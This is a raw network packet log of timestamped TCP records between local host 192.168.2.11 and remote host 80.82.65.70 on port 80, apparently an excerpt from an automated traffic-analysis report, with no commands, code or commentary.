                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.160634041 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.160727978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.161369085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.161422014 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.161429882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.161474943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.162105083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.162157059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.162314892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.162369013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.162870884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.162925005 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.162955046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.163016081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.163634062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.163695097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.163749933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.163796902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.164452076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.164503098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.164535046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.164619923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.165208101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.165261984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.165357113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.165596962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.166054010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.166109085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.166141033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.166182995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.166815996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.166877985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.166909933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.166951895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.167576075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.167654991 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.167685032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.168220997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.168399096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.168512106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.168513060 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.168663025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.169133902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.169153929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.169199944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.233869076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.233903885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.233942032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.233964920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.234009981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.234059095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.234703064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.234755993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.234786034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.235441923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.235522032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.235533953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.235577106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.236053944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.236136913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.236186981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.236936092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.237025023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.237078905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.237698078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.237822056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.237875938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.238408089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.238487959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.238862991 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.239193916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.239268064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.239514112 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.240093946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.240134954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.240186930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.240807056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.240889072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.240957975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.241607904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.241707087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.241765022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.242419958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.242472887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.242655993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.243107080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.243151903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.243208885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.243510008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.243912935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.243958950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.244023085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.244131088 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.244719982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.244795084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.244843960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.245501041 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.245592117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.246232033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.246279001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.246356964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.247030973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.247076988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.247081995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.247505903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.247840881 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.247895956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.247926950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.248585939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.248634100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.248718977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.249378920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.249500990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.249547958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.250158072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.250227928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.250273943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.250916958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.251024961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.251076937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.251707077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.251761913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.251883984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.251925945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.252521992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.252573967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.252636909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.253361940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.253412962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.253427029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.254066944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.254117966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.254199028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.255188942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.255331039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.255386114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.255848885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.255925894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.256012917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.256539106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.256557941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.256589890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.256612062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.310529947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.310636044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.310728073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.310858965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.310870886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.311455011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.311665058 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.311810017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.311858892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.312319040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.312520027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.347269058 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.347282887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.347347975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.347789049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.347867966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.348128080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.348215103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.348615885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.348665953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.348666906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.348977089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.349212885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.349323034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.349374056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.350013018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.350125074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.350178003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.350699902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.350770950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.350907087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.351572037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.351663113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.351717949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.352355957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.352428913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.352489948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.353301048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.353379011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.353427887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.353981018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.354005098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.354049921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.354552984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.354638100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.354713917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.355130911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.355214119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.355262995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.355861902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.355925083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.356087923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.356544971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.356605053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.356657028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.357319117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.357378006 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.357412100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.357453108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.358130932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.358194113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.358210087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.358915091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.358975887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.358978033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.359158993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.359658003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.359716892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.359776974 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.360425949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.360481024 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.360498905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.360516071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.361255884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.361335993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.361397982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.426023006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.426105022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.426217079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.426259995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.426362038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.426419973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.426453114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.426788092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.427155972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.427197933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.427292109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.427331924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.427876949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.427933931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.428195953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.428267002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.428282976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.428322077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.428944111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.428997040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.429151058 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.429197073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.429738998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.429791927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.429852962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.429982901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.430500984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.430545092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.430598021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.430639982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.431281090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.431368113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.431401014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.431463957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.432292938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.432343960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.432424068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.432873011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.433094025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.433136940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.433641911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.433681011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.433717012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.434443951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.434485912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.434564114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.434946060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.435219049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.435328960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.435503960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.435568094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.436237097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.436285973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.436358929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.436403990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.436778069 CET804981980.82.65.70192.168.2.11
